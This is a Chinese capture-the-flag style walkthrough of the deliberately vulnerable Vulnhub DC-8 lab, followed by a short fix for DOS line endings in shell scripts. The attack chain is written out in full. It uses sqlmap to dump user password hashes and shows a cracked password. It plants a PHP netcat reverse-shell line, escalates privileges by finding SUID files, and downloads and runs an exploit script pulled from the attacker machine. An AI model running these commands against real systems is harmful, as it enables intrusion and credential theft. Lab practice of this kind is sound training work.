Vulnhub靶机DC系列-DC8
title: Vulnhub靶机DC系列-DC8
abbrlink: d4a55825
date: 2022-09-16 18:59:06
tags: Vulnhub
靶场简介
- Name: DC: 8
- Date release: 8 Sep 2019
- Author: DCAU
- Series: DC
- Web page: http://www.five86.com/dc-8.html
描述
DC-8 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
这个挑战有点混合实际挑战和“概念证明”,即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。
这个挑战的“概念证明”部分最终是由于 Twitter 上关于双因素身份验证和 Linux 的问题,以及@theart42 的建议。
此挑战的最终目标是绕过双重身份验证,获取 root 权限并读取唯一标志。
除非您尝试通过 SSH 登录,否则您可能甚至不知道已安装和配置了双因素身份验证,但它肯定存在并且可以正常工作。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
nmap 扫描
扫描存活
kali 192.168.169.220
dc 192.168.169.235
扫描目标ip
访问http
扫描网站
- burpsuit + xray
- xray
webscan --listen 127.0.0.1:7777 --html-output result.html
- burpsuit
- 浏览器设置burpsuitp的代理
- 对网站的每个能点击的功能点进行测试
- 在xray的根目录能看到一份报告
result.html
和上面的命令有关可更改
扫描报告
- 发现
sql
注入在nid
的位置
sqlmap
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 --dbs
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db --tables
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db -T users --columns
sqlmap -u http://192.168.169.235/?nid=3 -D d7db -T users -C name,pass --dump
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
解密
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
john:turtle
登录
- 扫目录
dirsearch -u http://192.168.169.235/
http://192.168.169.235/user/login/
写入一句话
-
蚁剑连接
-
无法找到路径 换方案
netcat
- kali
- 老位置写入
<?php system("nc -n 192.168.169.235 6666 -e /bin/bash");?>
- 随便写点东西提交产生交互
- 连接成功
python -c "import pty; pty.spawn('/bin/bash');"
提权
- 翻找可以利用的文件
find / -perm -4000 2>/dev/null
- 漏洞利用
- 下载文件使用命令开始端口让目标机下载
python3 -m http.server 807
- 下载
wget http://192.168.169.220:807/469961.sh
- 加权限 执行
chmod +x 46996.sh
./46996.sh -m netcat
- 如果报错
shell脚本报错/bin/bash^M: bad interpreter: No such file or directory,通过查阅资料得知,shell脚本格式必须是unix才行,但我这个脚本是在windows上编写完成传到Linux服务器上的,所以一执行就报错
windows环境下的文件是dos格式,即每行结尾以\r\n来标识,而linux下的文件是unix格式,行尾则以\n来标识,查看该文件格式:
1.cat -A filename,如果输出结果中行末尾是^M, 则 是 d o s 格 式 , 如 果 行 末 尾 只 是 ,则是dos格式,如果行末尾只是,则是dos格式,如果行末尾只是,则是unix格式。
2.vim filename,编辑文件,执行“:set ff”,若执行结果为fileformat=dos则为dos格式,若执行结果为fileformat=unix则为unix格式。
3.od -t x1 filename,以16进制查看文件,若输出结果中存在“0d 0a”则为dos格式,如果只有“0a”则为unix格式。其中“0d”即为回车符“\r”,“0a”即为换行符“\n”。
1.sed -i “s/\r//” filename 或sed -i “s/^M//” filename,直接将回车符替换为空字符串。
2.vim filename,编辑文件,执行“: set ff=unix”,将文件设置为unix格式,然后执行“:wq”,保存退出。
3.dos2unix filename或busybox dos2unix filename,如果提示command not found,可以使用前两种方法。
报错的话
检查下格式
:set ff 若执行结果为fileformat=dos则为dos格式
: set ff=unix 将文件设置为unix格式
然后执行“:wq”,保存退出。
结束
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top